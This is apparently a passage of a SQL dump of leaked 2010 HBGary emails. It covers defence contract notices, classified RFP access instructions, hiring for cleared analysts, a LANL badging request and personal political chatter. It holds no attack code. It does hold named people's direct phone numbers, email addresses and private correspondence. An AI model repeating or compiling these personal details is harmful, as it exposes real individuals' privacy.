Security POC name, phone, and\r\nfax numbers (classified and unclassified). You must also complete and return\r\nthe attached Day Zero Exhibit I (Initial) Initial Task Order Questionnaire for\r\nClassified Information Exchange attached. \r\n\r\n&nbsp;\r\n\r\nAfter this\r\nnotification, a Snow Leopard Reading Room will be available to view a\r\ndraft Statement of Work which will not be promulgated via FAX.&nbsp; The\r\nReading Room will only be available for those that have provided written\r\nnotification of their continuing interest.&nbsp; The reading room will be available\r\nWednesday August 18 thru Friday August 20 from 0800-1600 in one hour\r\nsegments.&nbsp; Please call or email Jim Racz (703-466-3314) james.m.racz@lmco.com ) to set up an\r\nappointment.&nbsp; A TS/SCI repeat TS/SCI\r\nclearance must be on file at UNO to review the draft Snow Leopard SOW in\r\nthe Reading Room.&nbsp; You must provide Jim Racz the Name and SSN of the\r\npersons proposed for reviewing the SOW before coming to the reading Room.\r\nAn access roster list will be generated. After Reading\r\nRoom review, you must respond via email to confirm your desire to receive or\r\nnot receive an RFP. \r\n\r\n&nbsp;\r\n\r\nProgram\r\nManager and at least two engineers/ technicians for Task Order Snow Leopard\r\nmust currently possess TS/ISSA security\r\nclearance. All other technical personnel must have S/ISA\r\n(TBD) security clearance.&nbsp;\r\nTechnical discussion at the Sponsor facility may be up to TS/SCI.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWork\r\nat the Contractor&#8217;s facility is to be SECRET//NOFORN.&nbsp; \r\n\r\n&nbsp;\r\n\r\nShould\r\nyou have any further questions regarding this, please do not hesitate to\r\ncontact me.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\nJane\r\nShaw\r\n\r\nLockheed\r\nMartin Corporation\r\n\r\nInformation\r\nSystems &amp; Global Services\r\n\r\nSubcontract\r\nAdministrator, Senior Staff\r\n\r\n13560\r\nDulles Technology Drive\r\n\r\nHerndon,\r\nVA 20171\r\n\r\n703.466.1304\r\n- Office\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7960,'aaron_hbgary_com/7960.html'),(10442,'2010-08-17','\"Signal\" <signal@readexsurvey.com>','/aaron@hbgary.com/new/1297008126.M842331P14101Q5297.eml','aaron@hbgary.com','Signal Reader Survey','August 17, 2010\r\n\r\nDear Signal Reader:\r\n\r\nYour opinions are important to the publishers of Signal!  That is why they have arranged for Readex Research, an independent research firm, to conduct a brief survey of the contents in the August 2010 issue.\r\n\r\nOur aim is to provide you the best possible publication, a journal that delivers useful, important editorial material while also providing a resource for learning more about the products and services available in the marketplace.\r\n\r\nBecause the number of readers contacted is small, your participation is needed for the success of this project.  Of course, your answers will be kept confidential and only used in tabulation with others.  As a token of our appreciation, your name will be entered into a drawing for a silver level gift of your choosing (an estimated $50 value) from our online gift store, www.giftdonkey.com, once you have completed the survey.\r\n\r\nPlease take a moment to locate your August 2010 issue of Signal.  If you haven\'t received your issue yet, you should be receiving it in the next few days.  To complete the online survey, please visit the following website address:\r\n\r\nhttp://www.readexsurvey.com/signal/survey.asp?xyddttjym\r\n\r\nThank you for sharing your opinions with us and don\'t forget to enter the drawing.\r\n\r\nSincerely,\r\n\r\nAngela Thorson\r\nProject Director\r\n\r\n-----------------------\r\nWe apologize if this correspondence reached you in error.  This contact was selected by Readex Research from a list provided by Signal for the purpose of this survey only.  Readex adheres to ethical practices, and respects your rights of privacy and choice.  To be eliminated from additional contact from Readex on behalf of this survey sponsor, please go here - www.readexsurvey.com/drop.htm?aaron@hbgary.com\r\nor reply with the following as the subject: drop aaron@hbgary.com\r\n\r\nReadex Research\r\n2251 Tower Drive W\r\nStillwater, MN 55082\r\nUSA\r\n\r\n\r\n\r\n\r\n',6090,'aaron_hbgary_com/6090.html'),(10443,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008127.M379113P14101Q5299.eml','\"Aaron Barr\" <adbarr@mac.com>','How People Are Signing In Across the Web [STATS]','How People Are Signing In Across the Web [STATS]\r\n\r\n\r\nIdentity management provider Janrain has just released its latest usage study detailing what social networks and services people use to sign in and share activities across the web.\r\nAs in its last report back in April, Google and Facebook continue to dominate websites that offer third-party login options. Across the 250,000 sites that use Janrain Engage, Google represents the preferred sign-in option for 38% of users.\r\n  Facebook is in second place, with 24% of sign-ins and Yahoo is in third place with 14%. Twitter, which is a popular option in certain segments, only accounts for 5% of generalized sign-in data.Google is the dominant catch-all login in the aggregate, but other services, particularly Facebook, really take the lead when websites are segmented by type.\r\nFor example, for news media sites, Yahoo represents approximately 34% of all logins. For magazine publishers, Facebook is the clear choice amongst website visitors. Fifty-seven percent of logins are from Facebook, nearly triple its nearest competitor, Google, at 20%.\r\nLikewise, with music sites, Facebook leads with 55% of logins and second place Twitter is at 18%. Retail brand logins are also largely dominated by Facebook.\r\nIt makes sense that Facebook has such a strong presence in magazines, retail brands and in music. This can likely be tied with the brand and publishers’ usage of Facebook pages.\r\nFacebook and Twitter Dominate SharingMore and more publishers are integrating sharing options like Facebook Like buttons or the new Twitter Tweet buttons into their sites. Many publishers are seeing increases in traffic as a direct result of these sharing tools.\r\nAccording to Janrain’s data, Facebook is the preferred sharing network for 53% of users. Twitter is close behind with 37%. Keep in mind, Janrain’s platform allows users to cross-share to multiple networks at once, which indicates that there may be some overlap.\r\nStill, this is an important distinction from the single sign-in data. To us, this represents that while Google may be used as a frequent sign-in option — perhaps because of how closely the service is tied to an e-mail address — when it comes to engaging and identifying with information online, Facebook and Twitter are where users value their time.\r\nDo you use one social network for login purposes more than another? What services do you frequently use to share links or post about interesting items you find online? Let us know!Reviews: Facebook, Google, Twitter, retail\r\nMore About: facebook, janrain, openID, single sign-in, twitter\r\nFor more Social Media coverage:Follow Mashable Social Media on Twitter\r\nBecome a Fan on FacebookSubscribe to the Social Media channel\r\nDownload our free apps for iPhone and iPad\r\n\r\n          \r\nSent from my iPad\r\n',7477,'aaron_hbgary_com/7477.html'),(10444,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008127.M590034P14101Q5300.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Jobs','Not unless he moves.  These are all dc.  We are going to use mark for the ray owen work in short term.Sent from my iPhoneOn Aug 17, 2010, at 10:50 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nI assume that means you can place Mark.\r\n \r\n-Greg\r\nOn Mon, Aug 16, 2010 at 6:34 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOK guys I really need your help.  I have jobs to fill both available immediately and if we win the TSA ITSSS contract (which we have a good shot).\r\n\r\nHere is what I am looking for:Classified Customer Virginia:Reverse Engineers (requires full scope poly)NSA:Malware analyst, Intel Analyst, Cyber Analysts (requires full scope poly)TSA (this is if we win the contract but I need resumes now):\r\n\r\nLead Digital Forensics:Lead SOC:Lead Cyber Intelligence:Lead Incident Response:Lead Threat Management:Any contacts would be very very helpful.  These are all multi year contracts, but I just need people to fill now, if they don&#39;t like the particular job/area we can switch them around as we get more work.\r\n\r\nThanks,Aaron\r\n\r\n',109,'aaron_hbgary_com/109.html'),(10445,'2010-08-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008127.M80430P14101Q5298.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Jobs','I assume that means you can place Mark.\r\n \r\n-Greg\r\nOn Mon, Aug 16, 2010 at 6:34 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOK guys I really need your help.  I have jobs to fill both available immediately and if we win the TSA ITSSS contract (which we have a good shot).\r\nHere is what I am looking for:Classified Customer Virginia:Reverse Engineers (requires full scope poly)NSA:Malware analyst, Intel Analyst, Cyber Analysts (requires full scope poly)TSA (this is if we win the contract but I need resumes now):\r\nLead Digital Forensics:Lead SOC:Lead Cyber Intelligence:Lead Incident Response:Lead Threat Management:Any contacts would be very very helpful.  These are all multi year contracts, but I just need people to fill now, if they don&#39;t like the particular job/area we can switch them around as we get more work.\r\nThanks,Aaron\r\n',1391,'aaron_hbgary_com/1391.html'),(10446,'2010-08-17','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297008127.M807048P14101Q5301.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: GFIRST FGet Announcement for Wedn. Aug. 18th','Hi Ted, Can you please send me the HBGary booth # for GFIRST? Thanks, K\r\nOn Mon, Aug 16, 2010 at 6:37 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\nHi Ted and Aaron, I wanted to let you know that I am working to secure media briefings for Greg to promote our new freeware tool, FGet, which will be released on Wedn. August 18th. We will be distributing a limited number of copies of the tool on CD at HBGary GFIRST booth -- similar to what we did with Fingerprint.  Do you have the booth # for HBGary at the conference? If so, please send. Thanks, Karen  \r\n\r\n',12599,'aaron_hbgary_com/12599.html'),(10447,'2010-08-17','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297008128.M319408P14101Q5303.eml','aaron@hbgary.com','Fwd: Follow up','\r\n\r\n  \r\n\r\n    \r\n  \r\n  \r\n    Let me know if you want an intro.\r\n    \r\n    -------- Original Message --------\r\n    \r\n      \r\n        \r\n          Subject: \r\n          Follow up\r\n        \r\n        \r\n          Date: \r\n          Tue, 17 Aug 2010 11:21:11 -0400\r\n        \r\n        \r\n          From: \r\n          Arun Sood &lt;asood@cs.gmu.edu&gt;\r\n        \r\n        \r\n          To: \r\n          David Etue &lt;david@etue.net&gt;,\r\n            timothy@sullivanville.com\r\n        \r\n      \r\n    \r\n    \r\n    \r\n      Hi David,\r\n\r\nI am off to San Antonio - GFIRST. If you know of folks \r\nattending GFIRST and you think I should meet them, please do \r\nsend an intro.  I am there till 1 pm on Thursday.  Also, I \r\nwould appreciate an intro to executive(s) at H B Gary.  Our \r\ndiscussion about the scope of Net Witness, Fidelis, HB Gary \r\nand its influence on SCIT continues to intrigue me.\r\n\r\nWith best regards,\r\narun\r\n-- \r\nDr Arun Sood\r\nProfessor(Computer Science) { cs.gmu.edu/~asood/ }\r\nCo-Director, International Cyber Center { \r\nwww.internationalcybercenter.org }\r\nMail Stop 4A5, George Mason University, Fairfax, VA 22030\r\n703.993.1524(direct),703.993.1530(office),703.993.1710(fax)\r\nasood@gmu.edu\r\nhttp://cs.gmu.edu/~asood/scit\r\n\r\n\r\n  \r\n\r\n',15633,'aaron_hbgary_com/15633.html'),(10448,'2010-08-17','arc@westfields.net','/aaron@hbgary.com/new/1297008128.M552930P14101Q5304.eml','federal@hbgary.com','CAPRICA Draft RFP document posting','\r\nA Draft Request For Proposal (RFP) has been posted or updated on the NRO-CAPRICA effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select CAPRICA from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',12738,'aaron_hbgary_com/12738.html'),(10449,'2010-08-17','\"Lawrence, Gabriel\" <glawrence@ucsd.edu>','/aaron@hbgary.com/new/1297008128.M785197P14101Q5305.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Ping','Aaron,\r\n\r\nIt was good to meet you at Defcon. I\'d be interested in talking more about HB Gary and the UCSD system.\r\n\r\nLets try and set something up in September. \r\n\r\ngabe\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 30, 2010 1:06 AM\r\nTo: Lawrence, Gabriel\r\nSubject: Ping \r\n\r\n\r\n\r\nSent from my iPhone\r\n',4785,'aaron_hbgary_com/4785.html'),(10450,'2010-08-17','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297008128.M85127P14101Q5302.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Obama, the one-term president - Roger Simon - POLITICO.com','I like this form the article : &quot;Even if the side he chooses is the right one from an ethical or moral perspective&quot; the side he chose is neither.  The side he chose was the side he took an oath to when he said &quot;will to the best of my ability, preserve, protect and defend the Constitution of the United States&quot;, which we all have said we would do when we enlist in the military.  For christ sake, get it, it&#39;s the first thing &quot;Congress shall make no law respecting an establishment of religion, or\r\n  prohibiting the free exercise thereof&quot;On Tue, Aug 17, 2010 at 5:29 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nDo either of you see the insanity. Not in the president but in the view that seems to be accepted on politics?!  This person says these things as if their is absolutely nothing wrong with the words coming accross the paper.  This is just fact, like gravity.  I knew that deep inside politicians thought it but didn&#39;t know they were so delusioned they are willing to speak it so casually. \r\n\r\nWow.Obama, the one-term president - Roger Simon - POLITICO.com\r\nSent from my iPad\r\n\r\n\r\n',13983,'aaron_hbgary_com/13983.html'),(10451,'2010-08-17','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008129.M219755P14101Q5307.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Aaron has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Aaron are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Aaron LeMasters \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Senior Software Engineer at Mandiant\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Aaron\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Computer &amp; Network Security Industry \r\n                        \r\n                        \r\n                          aaronlemasters@yahoo.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Aaron\'s Connections (95) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Peter Silberman\r\n                ,\r\n                  Reverse Engineer &amp; Computer Security Researcher\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Jamie Butler\r\n                ,\r\n                  Director of Research and Development at Mandiant\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Mathew Guliner\r\n                ,\r\n                  Corporate Development at Sony Pictures Entertainment\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Peter Villadsen\r\n                ,\r\n                  Sr. Software Engineer at BNX Systems\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Aaron\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Raytheon\r\n                    \r\n                      Aaron worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Dell\r\n                    \r\n                      Aaron knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     IBM Global Services\r\n                    \r\n                      Aaron knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Deloitte Consulting\r\n                    \r\n                      Aaron knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',9885,'aaron_hbgary_com/9885.html'),(10452,'2010-08-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008129.M460038P14101Q5308.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Obama, the one-term president - Roger Simon - POLITICO.com','You shouldn\'t have chose a side on this one.  Blunder...\r\n\r\nOn Tue, Aug 17, 2010 at 6:29 AM, Aaron Barr  wrote:\r\n> Do either of you see the insanity. Not in the president but in the view that\r\n> seems to be accepted on politics?!  This person says these things as if\r\n> their is absolutely nothing wrong with the words coming accross the paper.\r\n>  This is just fact, like gravity.  I knew that deep inside politicians\r\n> thought it but didn\'t know they were so delusioned they are willing to speak\r\n> it so casually.\r\n>\r\n> Wow.\r\n> Obama, the one-term president - Roger Simon - POLITICO.com\r\n>\r\n>\r\n> Sent from my iPad\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',16388,'aaron_hbgary_com/16388.html'),(10453,'2010-08-17','\"Taylor, David A\" <dataylor@lanl.gov>','/aaron@hbgary.com/new/1297008129.M5516P14101Q5306.eml','\"Jerry McClure\" <Jerry.McClure@agilex.com>,\"Trujillo, Susie G\" <susiet@lanl.gov>,\"Jerry McClure\" <Jerry.McClure@agilex.com>,\"Trujillo, Susie G\" <susiet@lanl.gov>,,','HBGary Badging info','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe need HBGary contractor\r\ninformation in order to set up their badges by Wed 4:30PM MDT:\r\n\r\nName\r\n\r\nDate of Birth\r\n\r\nSocial Security Number\r\n\r\nPlace of Birth\r\n\r\nHome Address\r\n\r\nPhone Number (cell will do)\r\n\r\n&nbsp;\r\n\r\nYou can send directly to Suzie\r\nor Call her with info.\r\n\r\nSusie Trujillo\r\n\r\n505-665-3310\r\n\r\nsusiet@lanl.gov\r\n\r\n&nbsp;\r\n\r\nThanks.\r\n\r\n&nbsp;\r\n\r\nDavid Taylor\r\n\r\n505-667-6884\r\n\r\ndataylor@lanl.gov\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Taylor, David A \r\nSent: Monday, August 16, 2010 10:17 AM\r\nTo: \'Jerry McClure\'\r\nSubject: FW: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Trujillo, Susie G \r\nSent: Monday, August 16, 2010 10:13 AM\r\nTo: Taylor, David A\r\nSubject: RE: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDave,\r\n\r\n&nbsp;\r\n\r\nHere is the map from ABQ to Los\r\nAlamos if you want to forward 